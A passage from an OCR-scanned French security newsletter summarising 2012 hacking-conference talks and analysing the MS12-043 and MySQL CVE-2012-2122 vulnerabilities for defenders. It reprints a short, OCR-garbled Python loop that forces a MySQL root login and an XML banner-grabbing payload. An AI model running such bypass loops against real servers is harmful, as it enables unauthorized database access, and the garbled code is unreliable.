au long de sa conférence, Mikko Hyponen a développé une
analogie entre le secteur nucléaire et le secteur informa-
tique, qu'il a résumé dans cette phrase : «Nuclear physics
lost its innocence in 1945. Computer science lost its inno-
cence in 2009 ... ». Autrement dit : « la physique nucléaire a
perdu son innocence en 1945 (référence a Hiroshima, entre
autres). L'informatique a perdu son innocence en 2009 (en
référence aux cyber attaques intergouvernementales telles
que Stuxnet). »

Hack in Paris 2012
Mikko Hypponen
CRO, F-Secure

§ 3§ twitter com/mikko

J0In -

F-Secure "y

Nonverbal Human Hacking
Chris Hadnagy

o= Slides
http://hackinparis.com/slides/hip2k12/Chris.H-SocialEngi-
neer-TheArtofHumanHacking.pdf

# Video
http://youtu.be/rYeUFtrdu78

La derniere conférence avant le déjeuner a mis I'accent sur
le phénomene d’ingénierie sociale ou social engineering
qui, d’aprés I'ex-membre des Anonymous Sparky Blaze,
« est le plus gros probleme [en informatique, NDLR] au-
jourd’hui ».

Chris Hadnagy, un professionnel en ingénierie sociale, a su
avec humour et énergie capter I'attention du public sur ce
phénomeéne qui prend de plus en plus d’ampleur. A travers
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des statistiques, des chiffres et des exemples concrets, il
a été possible de mieux comprendre les enjeux liés a ce
probleme.

Ainsi, les attaques par social engineering les plus utilisées
aujourd’hui sont :

o Le phishing ;
o= L'élicitation par téléphone (phone elicitation) ;
o ['usurpation d’indentité (tail gating/impersonation).

Common Methods of
Social Engineering

Phishing

Phone Elicitation

Tail Gating / Impersonation

D’autres exemples sur les types de mails utilisés pour réa-
liser du phishing, ou les types d’appels pour récupérer des
données personnelles (numéro de carte bancaire, numé-
ro de sécurité sociale, mots de passe, etc.) de victimes,
notamment a la suite de catastrophes naturelles, ont été
présentés tout au long de la conférence. Un des éléments
intéressants a été I'étude statistique menée sur les mots de
passe et la différence de choix de ces derniers, selon qu'il
s'agit d'un homme ou d'une femme.

Aprés un comparatif sur certaines habitudes humaines VS
les actions a mener afin de prévenir les risques liés a de
telles habitudes, Chris Hadnagy a terminé sa présentation
avec cette phrase « Don’t wear a gun, wear a clipboard to
get information ».

HTML5 Something Wicked This Way Comes
Krzysztof Kotowicz

ok slides
http://hackinparis.com/slides/hip2k12/Krzysztof-html5-so0-
methingwickedthiswaycomes.pdf

= Video
http://youtu.be/j6CE-te5Fc8

Aprés une session de questions-réponses sur différents
aspects de la sécurité, les conférences ont repris avec celle
de Krzysztof Kotowicz sur le HTML5. A travers cette présen-
tation, diverses attaques ont été présentées. Notamment
le filejacking qui permet de lire et de récupérer des fichiers
situés sur la machine de la victime, a partir d’'un site web
en HTML5 (via Google Chrome uniquement). Une autre
attaque nommée « AppCache poisoning » a été présentée.

Elle passe par un point d’accés détourné (« rogue access
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point ») et I'utilisation des Offline Web Applications :<html
manifest=cache.manifest>. Par ailleurs, une attaque bapti-
sée « Silent File Upload » permet de charger des fichiers, via
Javascript exclusivement, sur des sites de partage de photos
utilisés par la victime, en utilisant une faille de type « Cross
Origin Resource Sharing ». Une démonstration a été faite
sur le site Flickr. D'autres attaques ont été présentées afin
de faire comprendre les points suivants aux développeurs :

= Le langage HTMLS5 offre plusieurs fonctionnalités inté-
ressantes, y compris pour les pirates ;

ok Les compromissions nécessitant I'interaction de la vic-
time elle-méme sont largement possibles ;

== 1l vaut mieux ne pas utiliser de frames, d’ou la recom-
mandation particuliere en conclusion : « Use X-Frame-Op-
tions: DENY ».

Bob’s pwnage stage #1
* Bob has a hobby - e.g. hacking

e He has cool file://s
* | want to get them!

He’s not THAT stupid to run EXE, SCR
etc.

Use filejacking!

Weapons of Max destructions V4
Jorge Sebastiao

o= Slides
http://hackinparis.com/slides/hip2k12/jorge-Weapons%20
0f%20Max%20Destruction%20V40.pdf

= Video
http://youtu.be/Ldy9Pi7tGOk

L'avant-derniére conférence de la journée n’était pas des
plus riches en découvertes. Elle avait quand méme le mé-
rite d’étre une bonne synthése de I'état actuel des cyber
attaques qui sont de plus en plus ciblées, mais surtout dé-
ployées par des Ftats afin d’en attaquer d'autres (cf. Bulle-
tin CXA-2012-0934).

Jorge Sebastiao a indiqué que les cyber-guerres sont d’ac-
tualité et que les nouvelles armes de destructions massives
sont maintenant électroniques. Stuxnet et Flame avec leur
principe de fonctionnement ont été passés en revue (Le
malware Gauss n'avait pas encore fait parler de lui, cf. CXA-
2012-1408.).
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Par ailleurs, des vidéos ont permis, d'une part, de noter
que les films hollywoodiens s’inspirent souvent de cyber
attaques existantes, et d’autres d’autre part, de démontrer
que certains composants, exposés a une certaine fréquence
pendant un temps donné peuvent étre détruits. Peut-étre
un présage a I'attaque menée par le ver Flame via diffusion
de musique (cf. (XA-2012-1354) ?

Cette conférence avait un lien intéressant avec celle d’ou-
verture donnée par I'expert en sécurité Mikko Hypponen qui
I'avait fini en déclarant : «Nuclear physics lost its innocence
in 1945. Computer science lost its innocence in 2009».

Postscript : Danger Ahead
Andrei Costin

o Slides
http://hackinparis.com/slides/hip2k12/Andrei-PostS-
cript%20Danger%20Ahead.pdf

=k Video
http://youtu.be/ygcsOm5C917I

Pour terminer cette journée riche en émotions, nous avons
assisté a une conférence sur le PostScript. Mais qu’est ce
que le PostScript selon Wikipedia ?

« Le PostScript est un langage informatique spécialisé dans
la description de pages, mis au point par Adobe. » Ainsi,
Andrei Costin a d’abord présenté le langage avec ses diffé-
rentes spécifications. Par exemple, il nous a montré com-
ment provoquer un déni de service avec une boucle infinie

({}loop).

Le langage permet de faire plusieurs choses comme en-
voyer des requétes ou manipuler n‘importe quel document.

Les scénarios présentés n'ont pas été aussi impressionnants
que l'on pouvait imaginer, mais le chercheur a posé une
simple question comme « Qui vérifie ce qu’il imprime ? »
La réponse est personne. Alors, imaginer un langage, incor-
poré dans un document qui modifie tous les 0 par des 9 lors
de l'impression...
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A Bit More of PE
Ange Albertini

# Video
http://youtu.be/3duSgr5b1yc

Le format des fichiers PE, fichier exécutable Windows, est
quelque chose de plus compliqué que cela en a I'air. C'est
tout du moins ce qu’a confirmé Ange Albertini lors de sa
présentation. En effet, lors de I'étude d’un malware, il a
observé des comportements étranges avec certains par-
seurs PE. C'est a partir de ce constat qu'il a décidé de for-
ger ses propres fichiers PE puis d'analyser les différentes
réactions des systémes d’exploitation et des parseurs PE.
Ange nous a ensuite montré plusieurs exemples de fichiers
PE qui ne respectaient pas les spécifications de Microsoft
mais qui s’exécutaient tout de méme. Ces fichiers malfor-
més peuvent étre utilisés pour contourner les parseurs de
fichiers des antivirus par exemple. Le projet « corkami »
lancé par Ange, référence tous les fichiers PE qui ne res-
pectent pas les spécifications, afin de les analyser et de
créer une documentation sur leurs spécifications.

Bypassing Android Permission Model
Georgia Weidman

ok Slides
http://hackinparis.com/slides/hip2k12/Georgia-android-
permissions.pdf

# Video
http://youtu.be/S9eVKyxye2c

Georgia Weidman a présenté la sécurité des applications
Android, et plus précisément la gestion des droits de ces
applications. Apres avoir fait la liste des différents droits
existants, plusieurs techniques de « contournement » ont
été exposées. Une application peut, par exemple, utiliser
une autre application qui disposerait des droits nécessaires
pour effectuer une action. De plus, les ressources dispo-
nibles sur la carte SD le sont pour toutes les applications.
Gare aux fichiers de configuration ! Enfin, de plus en plus
de développeurs demandent I'intégralité des droits, méme
si leur application ne les utilise pas (Facebook).
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Attacking XML Processing
Nicolas Grégoire

o Slides
http://hackinparis.com/slides/hip2k12/Nicolas-Attacking_
XML_processing.pdf

# Video
http://youtu.be/xm5hloYTSyl

En fin d’aprés-midi, Nicolas Grégoire nous a présenté une
conférence intitulée « Attacking XML Processing ». Il a
d'abord procédé a une présentation générale du XML et
un rappel des différents usages. Par la suite, pour identifier
d’éventuelles vulnérabilités il a posé la question suivante :
« Le contenu XML est-il interprété ? ».

conCIUSiQn

XML s Everywhere
much more than pure data
Sive side is Progressing quickly

XML is
The offen

p) and XSLT attacks have been

Lo more than 10 years
A

Plusieurs cas d’exploitation de vulnérabilités liées a I'inter-
prétation d’un contenu XML ont été présentés, démons-
trations a I'appui, avec notamment, I'encapsulation d’un
PDF malveillant dans du XML (XDP) qui n’est alors plus
détecté par les antivirus, un déni de service via une at-
taque « Billion Laughs Attack » (CWE-776), ou encore la
récupération de banniéres via des messages d’erreur en
utilisant la fonction « DOMDocument:loadXML() » sur
des ports correspondant a des services connus (exemple
: DOMDocument::loadXML(https://localhost:22/) pour ob-
tenir la banniére du serveur SSH). Finalement, il nous a
présenté des méthodes avancées qui permettent d’exé-
cuter arbitrairement du code PHP ou Java en utilisant des
documents XSLT.

Got Your Nose! How To Steal Your Precious Data Wit-
hout Using Scripts
Mario Heiderich

ok Slides
http://hackinparis.com/slides/hip2k12/Georgia-android-
permissions.pdf

= Video
http://youtu.be/S9eVKyxye2c

Mario Heiderich a présenté un sujet assez classique, I'injec-

tion de code dans une page web (XSS). Cependant, méme 19
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si le sujet est commun, la maniere de |'aborder est atypique
: Mario nous a présenté un certain nombre d’attaques utili-
sables sans aucune utilisation de scripts (injection de codes
HTML et CSS principalement). Démonstrations a |"appui,
Mario nous a montré qu'il était possible de retrouver un
mot de passe enregistré dans un navigateur par force brute,
ou de réaliser un keylogger en injectant du code SVG, puis
en utilisant la fonction « accessKey » qui permet d’associer
des événements a la frappe au clavier. Finalement, Mario
a illustré le fait qu'une protection du c6té client (le plug-in
NoScript de Firefox par exemple) n’est pas suffisante pour
prévenir d'éventuelles attaques. Il faut donc porter les ef-
forts de sécurisation au sein méme du code de I'application.

> Hack In Paris : autres conférences

SCADA Security: Why is it so hard ?

Amol Sarwate
http://hackinparis.com/slides/hip2k12/Amol-SCADASecuri-
tyWhylsltSoHard.pdf

http://youtu.be/wm9Nufqolwu

PostScript: Danger ahead !

Andrei Costin
http://hackinparis.com/slides/hip2k12/Andrei-PostS-
cript%20Danger%20Ahead.pdf

http://youtu.be/wm9Nufqolwu

Got your Nose ! How to steal your precious data wit-
hout using scripts

Mario Heiderich
http://hackinparis.com/slides/hip2k12/Mario-got_ur_
nose_hip12.pdf

http://youtu.be/FIQvAazj HA

What are the new means for cybercriminals to bypass
and evade your defenses ?

Klaus Majewski
http://hackinparis.com/slides/hip2k12/Klaus%20Stone-
soft_AET.pdf

http://youtu.be/7i0)Uplckw8

Results of a Security Assessment of the Internet Pro-
tocol version 6 (IPvé6)

Fernando Gont
http://hackinparis.com/slides/hip2k12/Fernando-ipv6-se-

20 curity.pdf

[Xmcol

'ack ip p

Hack In Paris

http://youtu.be/wzqrSyv4cHs

Keynote: Measuring Risk with Time Based Security
Winn Schwartau
http://hackinparis.com/slides/hip2k12/Winn-Keynote.pdf

http://youtu.be/pRdGdGENwWSO

« Securing the Internet: YOU’re doing it wrong » (An
INFOSEC Intervention)

Jayson E. Street
http://hackinparis.com/slides/hip2k12/Jayson-secu-
ring%20HIP.pdf

http://youtu.be/vKulXYU-ov4

Questions and Answers : Panel Defensive Nature
Winn Schwartau, Jayson E. Street, Chris Hadnagy
http://youtu.be/T48WiGQYdF8$

Questions and Answers : Panel offensive Nature
Winn Schwartau, Georgia Weidman, Mario Heiderich
http://youtu.be/fH2855C8Mkc

gsdqsdqs

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Conférences sécurité

> Hackito Ergo Sum

XMCO était cette année encore présent a la conférence fran-
caise qui monte, Hackito Ergo Sum, ou HES pour les intimes.
('est au siege du Parti Communiste Francais, |'espace Oscar
Niemeyer, que la 3eme édition d'HES a eu lieu.

Keynote #1
Cedric Blancher

o= Slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-cblancher-Keynote1.pdf

Cédric Blancher a ouvert le bal des présentations avec la
premiere keynote. Apparemment, il a remplacé au pied
levé le conférencier prévu et a ainsi abordé la définition
premiere d’'un terme aujourd’hui utilisé a tort et a travers

« hacking ». Cette activité consiste tout simplement a
adapter quelque chose d’existant a un autre besoin. Afin
d'illustrer ses propos, Cédric Blancher s’est appuyé sur un
exemple original : modifier les attaches de son appareil
photo afin de I'adapter a I'activité extréme qu’est le para-
chutisme.

Le conférencier a ensuite fait le lien entre sécurité infor-

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Cédric Blancher

matique et hacking, a enchainé sur les conséquences de
la médiatisation croissante de la sécurité informatique et
I'augmentation du nombre de conférences dans le domaine
ces derniéres années. Cette augmentation du nombre de
conférences a travers le monde, bien que positive, aurait
pour conséquence négative de tirer le niveau technique
vers le bas. De plus, il n’est pas rare de voir une présenta-
tion a plusieurs conférences différentes.

Enfin, 'orateur a terminé en expliquant pourquoi le hac-
king devait continuer a exister. Selon lui, le hacking serait le
moteur de I'innovation.

HACKITO
ERGO SUM

[Xmcol



Hardware backdooring is practical
Jonathan Brossard et Florentin Demetrescu

o= Slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-jbrossard_fdemetrescu-Hard-
ware-Backdooring-is-pratical.pdf

Jonathan Brossard et Florentin Demetrescu nous ont pré-
senté leur preuve de concept fonctionnelle de backdoor tres
bas niveau. Les conférenciers ont rapidement posé la ques-
tion de savoir si un Etat (la Chine par exemple) aurait les
moyens de « backdoorer » I'ensemble des ordinateurs. En
réalité, n‘importe quelle entreprise participante a la chaine
de fabrication d’un ordinateur est en mesure de déposer
une backdoor.
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Les orateurs ont poursuivi par une breve présentation de
I'architecture x86, ainsi que par une démo du flash d'une
carte mere avec coreboot et un état de I'art des précédents
travaux effectués dans le domaine de bootkit.

Enfin, la derniere partie de la présentation s’est concentrée
sur « Rakshasa », la backdoor développée par les cher-
cheurs. Le but était d’atteindre la backdoor ultime : persis-
tante, furtive, portable, etc. Une démonstration de leur outil
a été faite sur un Windows Server 2008. « Rakshasa » s'ap-
puie sur : Coreboot, SeaBios, iPXE et de nombreux payloads.
Les chercheurs ont terminé sur des pistes de réflexion afin
de prévenir d’'une telle source d’attaque.

Revisiting Baseband Attacks
Ralf Philipp Weinmann

Ralf Philipp Weinmann a présenté ses recherches sur les
attaques des réseaux cellulaires. Le chercheur a notamment
utilisé du matériel trouvé dans le sous-sol de son univer-

272 sité du Luxembourg pour mettre en place une infrastructure

[Xmcol

mobile afin de mener a bien ses recherches.

Sur une vidéo projetée, nous avons assisté a une sorte d'at-
taque de « Man-in-the-Middle » entre un iPhone, une an-
tenne relais malveillante et I'antenne relais |égitime. Dans
cette vidéo, I'iPhone ciblé perd I'accés au réseau, puis se re-
connecte a I'antenne relais malveillante. Un second iPhone
appelle alors I'iPhone victime qui décroche tout seul...
D’apres le conférencier, les constructeurs prendraient ces
considérations de sécurité au sérieux. Le probléme principal
proviendrait de la chaine de mise a jour.

L'orateur a ensuite exposé la facilité d’acces aux informa-
tions de certaines puces via l'interface JTAG moyennant
I'utilisation d’une RIFF Box, ainsi que les différentes puces
et les tendances du marché.

A noter que Ralf Philipp Weinmann est I'un des co-auteurs
du livre « i0S Hacker’s Handbook ».

Strange and Radiant Machines in the PHY Layer
Travis Goodspeed & Sergey Bratus

o= Slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-goodspeed_bratus-StrangeAn-
dRadiant-Machines.pdf

Seul Travis Goodspeed était présent a la conférence. Celui-ci
a présenté des travaux qui s'attaquent a la couche la plus
basse du modéle 0SI : la couche physique et plus particulie-
rement dans le cas des transmissions sans fil.

L'attaque décrite « Packet-in-Packet » permet a un atta-

quant qui pourrait manipuler les couches les plus hautes
du modeéle 0SI d'injecter des trames au niveau physique.
Le principe est le suivant : il est possible d’encapsuler un
paquet a l'intérieur d'un autre paquet et d’interpréter le
paquet encapsulé comme un paquet a part entiere. Ceci est
dG notamment au bruit (interférences) ambiant qui peut
« invalider » le paquet « extérieur».

Le chercheur a accompagné ses propos d’'une démonstra-
tion sur un clavier sans fil Microsoft.

Packet Out of Packet

?ade‘ £Lormat

Variable I¢..j|k
N v

{(‘car*L Sync # Aq+q

Ov{hnalf wL'.h_n.'nJ' FEC,
Mand.ester

Goodspeed/Bratus HES2012 PHY Layer Exploits 45
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Cryptographic Function Identification in Obfuscated
Binary Programs
Joan Calvet

o= slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-jcalvet-CryptoFunctionldentifi-
cation.pdf

Joan Calvet a présenté ses recherches sur I'identification des
fonctions cryptographiques au sein de binaires obfusqués.
Le chercheur s’est demandé comment faire pour recon-
naitre différentes implémentations d'un méme algorithme.
La technique développée par Joan Calvet s’appuie sur la
comparaison des relations entrées-sorties d’un binaire. En
effet, pour une clé K et un texte chiffré C, n‘importe quelle
implémentation de « Tiny Encryption Algorithm » (exemple
pris par I'orateur) produit le méme texte déchiffré C'.

Cependant, cette technique est limitée, car pour un pro-
gramme P implémentant un algorithme cryptographique
inconnu, il est irréalisable de tester toutes les E/S pour prou-
ver que P implémente I'algorithme cryptographique A. Au
mieux, il est possible de prouver que P implémente I'algo-
rithme A sur les entrées testées.

Cédric Blancher

Le but du chercheur est ainsi de prouver qu’un programme
P se comporte comme un algorithme cryptographique
connu durant une exécution particuliére en suivant les 3

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

étapes suivantes :

1 - Collecter les traces d’exécution de P ;

2 - Extraire tous les algorithmes cryptographiques possibles
avec leurs parametres d’apres I'étape 1 (Ia réside toute Ia
difficulté) ;

3 - Identifier ces algorithmes en comparant leurs relations
E/S avec ceux des algorithmes connus.

Hacking the NFC credit cards for fun and debit
Renaud Lifchitz

o= slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-rlifchitz-contactless-payments-
insecurity.pdf

L'arrivée du paiement sans contact basé sur la technolo-
gie RFID est inexorable. Renaud Lifchitz a présenté ses re-
cherches sur le sujet. Ce mode de paiement déja répandu
aux Ftats-Unis (10 millions de cartes) est limité a 20 euros
maximum par paiement.

A l'aide d’un lecteur de carte RFID, d’outils et de rétro-in-
génierie, Renaud Lifchitz est parvenu a extraire les données
contenues au sein de la carte tels que le numéro PAN, Ia
date d’expiration, les données contenues au sein de Ia
bande magnétique et I'historique des transactions ban-
caires. Un attaquant possédant un lecteur RFID peut ainsi
récupérer, et ce, a I'insu de sa victime les informations ban-
caires susnommeées. Renaud a ensuite illustré I'attaque par
une démo au cours de laquelle il extrait avec succes ces in-
formations. La principale limitation de I'attaque réside dans
la distance nécessaire pour pouvoir extraire les données. La
version du logiciel exécutable sur PC a été publiée a la fin
de la conférence.

[Xmcol
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Walter Belgers

o= Slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-wbelgers-Handouts.pdf

La premiere journée s’est terminée par une présentation
sur un domaine connexe a la sécurité informatique et tradi-
tionnellement représenté : le lockpicking.

Le conférencier, plusieurs fois vainqueur de nombreuses
compétitions de crochetage de serrure, a commencé par
présenter ce qu’était le lockpicking. L'orateur a poursuivi
par I'explication des différentes techniques utilisables, du
principe de fonctionnement d’une serrure, et des protec-
tions applicables.

Plusieurs démonstrations faites en direct (ou en vidéo) ont
eu lieu afin d'illustrer les propos de Walter Belgers.

How We Compromised the Cisco VoIP Crypto Ecosys-
tem
Enno Rey et Daniel Mende

La présentation a débuté par un rappel des éléments de
sécurité mis en place dans le cadre d’infrastructure VolIP et
les vulnérabilités souvent rencontrées lors de tests d’intru-
sions. Le constat est que le chiffrement des communica-
tions est un élément essentiel pour la confidentialité des
conversations.

Cisco a ainsi implémenté un systeme basé sur les infrastruc-
tures a clés publiques qui permet de répondre a ce besoin.
Des dongles CTL contenant les clefs privées sont utilisés
pour signer les certificats utilisés au sein des téléphones
Cisco. Les chercheurs ont identifié une vulnérabilité permet-
tant de modifier le fichier CTL et de mettre a jour leur signa-
ture a la volée lors d’une attaque de Man In The Middle.
L'attaquant injectant ainsi son propre certificat entre les
téléphones peut ensuite déchiffrer la communication.

Secure Password Managers and Military-Grade
Encryption on Smartphones
Andrey Belenko et Dmitry Sklyarov

o= slides
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-belenko_sklyarov-Secure-
Password-Managers.pdf
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La conférence a commencé par une présentation des mé-
canismes de sécurisation des données au sein de I'iPhone.
Celui-ci repose uniquement sur le mot de passe et pourtant
les smartphones ne sont pas adaptés (petit écran, déblo-
cage régulier via le mot de passe) pour configurer un mot
de passe complexe. La suite de la conférence s’est axée sur
I'analyse de plusieurs applications disponibles sur I’AppS-
tore, qui sont censées stocker de maniére sécurisée les mots
de passe de I'utilisateur.

L'étude révele assez rapidement que certaines applications
utilisent des algorithmes de chiffrement des fichiers sen-
sibles (contenant les mots de passe de I'utilisateur) consi-
dérés comme facilement cassables, surtout si le mot de
passe global (permettant de déchiffrer le fichier) est faible.
La conclusion des chercheurs était sans appel, la solution de
stockage des mots de passe interne a I'i0S, le keychain, est
la méthode la plus sre.

~
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> Hackito Ergo Sum : autres confé-

rences

Keynote #2

Fyodor Yarochkin
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-fyodor-keynote2.pdf

Keynote #

Marc “van Hauser” Heuse
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-mheuse-keynote3.pdf

Lockpickito Ergo Sum

Walter Bergers
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES-2012-wbelgers-Handouts.pdf

Modern webapp hacking or how to kill a bounty pro-
gram

Itzhak Avraham (Zuk) & Nir Goldshlager
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/05/HES-2012-iavraham_ngoldshlager-Mo-
dern_webapp_hacking.pdf

Easy Local Windows Kernel Exploitation
Cesar Cerrudo

Recent Advances in IPv6 Security
Fernando Gont
http://2012.hackitoergosum.org/blog/wp-content/

uploads/2012/04/HES-2012-fgont-recent-advances-in-ipv6-

security.pdf

strange and Radiant Machines in the PHY Layer
Travis Goodspeed & Sergey Bratus
http://2012.hackitoergosum.org/blog/wp-content/

uploads/2012/04/HES-2012-goodspeed_bratus-StrangeAn-

dRadiant-Machines.pdf

Yo Dawg, | Heard You Like Reversing...
Aaron Portnoy & Brandon Edwards
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Decomposing the Network to perform Attack Planning
under Uncertainty
Carlos Sarraute

The System of Automatic Searching for Vulnerabilities
or how to use Taint Analysis to find security bugs
Nikita Tarakanov & Alex Bazhanyuk
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES2012-ntarakanov-SASV_ABazhanyuk.
pdf

Exploiting a Coalmine: Abusing Complex Bugs in Web-
kit's RenderArena

Georg Wicherski
http://2012.hackitoergosum.org/blog/wp-content/
uploads/2012/04/HES2012-gwicherski-exploiting-a-coal-
mine.pdf
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> SSTIC

L'amphithéatre du campus de Rennes Beaulieu était com-
plet pour cette 10éme édition du SSTIC. Toujours aussi riche
en conférences et en rencontres (le Social Event aidant),
cette édition « anniversaire » a également été I'occasion
de revenir sur des anecdotes marquantes de la décennie
écoulée. Nous vous présentons ci-dessous un florilege de
présentations marquantes auxquelles nous avons assisté.

La suite de cet article est réservée aux abonnés du CERT-
XMC(O...

' meO’] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Cédric Blancher




L’Actualité du mon

Que s’est-il passé au cours de ces derniéres = -
semaines au sein du petit monde de la
sécurité informatique ? .y
I |
Ce mois-ci nous reviendrons sur les vulnéf?ﬁ N
rabilités MS12-043, Bypass MySQL et F5
BIG-IP.
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Analyse de la faille MS12-043 (CVE-2012-1889)
par Charles DAGOUAT

MySQL (CVE-2012-2122) et F5 BIG-IP (CVE-2012-1493)
par Julien MEYER et Adrien GUINAULT

O

L'Observatoire de la sécurité des cartes de paiement
par Charles DAGOUAT

MOME

=
_|

ROPGuard et contournements
par Francois LEGUE

AT&T et BlackHole
par Adrien GUINAULT
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Contexte

Le 30 mai dernier, Google [1] alertait Microsoft de I'exploi-
tation par des pirates d'une faille de sécurité de type 0day
présente au sein d’Internet Explorer.

GOO le Google Online Security Blog
8 The latest news and insights from Google

Blog on security and safety on the Internet

Security warnings for suspected state-sponsored attacks
Tuesday, June 5, 2012 12:04 PM
Posted by Eric Grosse, VP Security Engineering

We are constantly on the lockout for malicious activity on our systems, in particular attempts
by third parties to log inte users' accounts unautherized. When we have specific intelligence—
either directly from users or from our own monitoring efforts—we show clear wamning signs

and put in place extra roadblocks to thwart these bad actors.

Today, we're taking that a step further for a subset of our users, who we believe may be the
target of state-spensored attacks. You can see what this new waming looks like here:

5 y YouTub ws  Gemall
Warning: We bebeve state-spontored atlackers may b attempting 1o

GOL)SIE BEENl veoomsicon o+ s (@

Gmail - - - 1808 ¢ > -

our ccount of compuler. P

Analyse de la vulnérabi-
lité MS12-043 affectant le
composant MSXML

par Charles DAGOUAT

©
o
=
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Cette faille était alors considérée comme étant suffisam-
ment critique pour que le géant de Redmond publie le
12 juin suivant le bulletin de sécurité n°2719615 [2] afin
d'alerter les internautes de I'existence de cette faille de
sécurité, de son exploitation par les pirates, et de la mise
a disposition dun correctif temporaire sous la forme d'un «
Fix it » (n°50908). D'apres les informations alors publiées
par Microsoft, la faille provenait du composant MSXML
(Microsoft XML Core Services). Le correctif devait permettre
aux clients de mettre en oeuvre de facon simplifiée une
solution de mitigation temporaire les protégeant contre un
attaquant cherchant a tirer parti de cette faille. En effet,
I'exploitation de cette derniére permettait a un attaquant
de prendre a distance le controle d’'un systeme avec les
privileges de I'utilisateur courant [2].

Quelques jours plus tard, le 18 juin, les développeurs du
projet Metasploit ajoutaient une premiere version d'un
code d’exploitation [3]. En moins de trois jours, les auteurs
parvenaient a le rendre fiable a 100% sur les principales
configurations Microsoft : Internet Explorer 6/7/8 et 9, utili-
sées sur Windows XP/Vista, ou encore Windows 7 SP1.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Il faudra ensuite attendre le 9 juillet pour que Microsoft
publie, dans le cadre de son « Patch Tuesday» du mois, le
correctif MS12-043 [4] corrigeant la faille de sécurité réfé-
rencée CVE-2012-1889 [5] pour les versions 3, 4 et 6 du
composant vulnérable sous Windows, mais laissant la ver-
sion 5 utilisée au sein de Microsoft Office 2003 et 2007 sans
correctif.

Description de la faille

Cette faille de sécurité affecte les versions 3, 4, 5 et 6 de la
librairie partagée MSXML. En incitant un internaute a visiter
une page Internet spécialement concue, un pirate était en
mesure de provoquer une corruption de la mémoire me-
nant a la compromission du systeme.

La faille provient plus précisément de la fonction « _
dispatchimpl::invokeHelper ». En effet, en situation nor-
male, cette fonction, lorsqu’elle est appelée, initialise cor-
rectement le contenu d’'une structure de type « vTable »
(Note 1) avant d'utiliser cette derniere pour appeler une
fonction virtuelle. Cependant, sous certaines conditions,
celle-ci peut ne pas étre initialisée, provoquant ainsi une
erreur lorsque le programme cherche a appeler une fonc-
tion non définie a I'adresse en question. Dans cette situa-
tion, il est possible pour un attaquant de contrdler I'adresse
en question, menant ainsi a la compromission du systéme.

Note (1) : lorsqu’un programme est développé en C++ ou
dans n’importe quel langage de programmation orienté ob-
jet supportant le mécanisme de « dynamic dispatch », une
structure de type « vTable » contient les pointeurs vers les
fonctions virtuelles définies au sein des différentes classes
héritant d'une méme superclasse parente. Cette table per-
met au systeme, lors de I’'exécution du programme, d’exé-
cuter I'implémentation de la fonction associée a l'instance
de classe manipulée.
http://en.wikipedia.org/wiki/Virtual_method_table

La vulnérabilité a été présentée en détail par Brian Mariani
et Frederic Bourla d’High-Tech Bridge [6] [7], ainsi que par
Nicolas Joly de VUPEN [8] (allez Florent, la prochaine c’est
pour toi! ;-). Corelanc0d3r présente en détail le scénario
d’exploitation associé a ce type de faille [9].

Exploitation de la faille

Il est relativement simple de déclencher la faille. Pour cels,
les quelques lignes de code HTML et JavaScript composant
la preuve de concept suivante sont suffisantes.

La suite de cet article est réservée aux abonnés du
CERT-XMC(O...
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Le 9 juin 2012, Sergei Golubchik, en charge de la sécurité
pour le projet MariaDB a publié un avis de sécurité sur la
liste de diffusion « SecList ».

MySQL et MariaDB sont tous deux vulnérables a une at-
taque permettant de contourner la phase d’authentifica-
tion, et ceci a distance.

La vulnérabilité a été identifiée sous la référence CVE-2012-
2122.

L’exploitation de cette vulnérabilité est trés simple, puisqu'il
suffit de réaliser de nombreuses tentatives de connexion a
la base de données. Avec un nom d'utilisateur existant et
un mot de passe aléatoire, il est alors possible de forcer le
systeme qui valide le mot de passe, méme si celui-ci n'est
pas bon. Etrange non ?

Le script suivant a été publié apres la découverte de la vul-
nérabilité. Ce dernier se compose uniquement d’une boucle
effectuant une connexion a la base de données. Sur un sys-
teme potentiellement vulnérable, celui-ci permet alors de
s’authentifier simplement aupres du serveur MySQL, sans
pour autant connaitre le mot de passe de I'utilisateur...

#l usr/bin/python
subprocess

1:
subprocess.Popen

{emysgl ——host=127.8.8.1 -u root mysqgl
——password=roots, shell=Truel.wait() [

Apres plusieurs tentatives, nous voici connectés.
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MySQL et Bypass ROOT

par Julien MEYER

a1

Scott McLeod

Les développeurs de MySQL ont créé la fonction de compa-
raison des mots de passe sans prendre en compte une don-
née importante. En effet, la fonction « memcmp », utilisée
pour la comparaison des mots de passe, renvoie une va-
riable de type ‘integer’. D’aprés la page de manuel, le pro-
totype de la fonction est le suivant : « int memcmp(const
void *s1, const void *s2, size_t n); ».

« L'exploitation de cette vulnérabilité
est tres simple, puisqu’il suffit de réaliser de
nombreuses tentatives
de connexion a la base de données.
Avec un nom d’utilisateur existant
et un mot de passe aléatoire,
il est alors possible de forcer le systeme qui
valide le mot de passe, méme si celui-ci n’est
pas bon... »

Dong, sur la plupart des systemes, la fonction «memcmp»
renvoie des valeurs comprises entre -255 et 255. Partant de
ce constat, le code de comparaison du mot de passe est le
suivant :

ff mysagl.h

my_bool;

f/ password.c
my_bool check_scramble(

uchar x*scramble_arg,

*Message, uint& =xhash_stagez)

memcmp{hash_stage2, hash_stage2_reassured,

SHA1_HASH_SIZE);
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La fonction memcmp renvoie une variable de type integer,
soit 4 octets. La fonction « check scramble » elle, renvoie
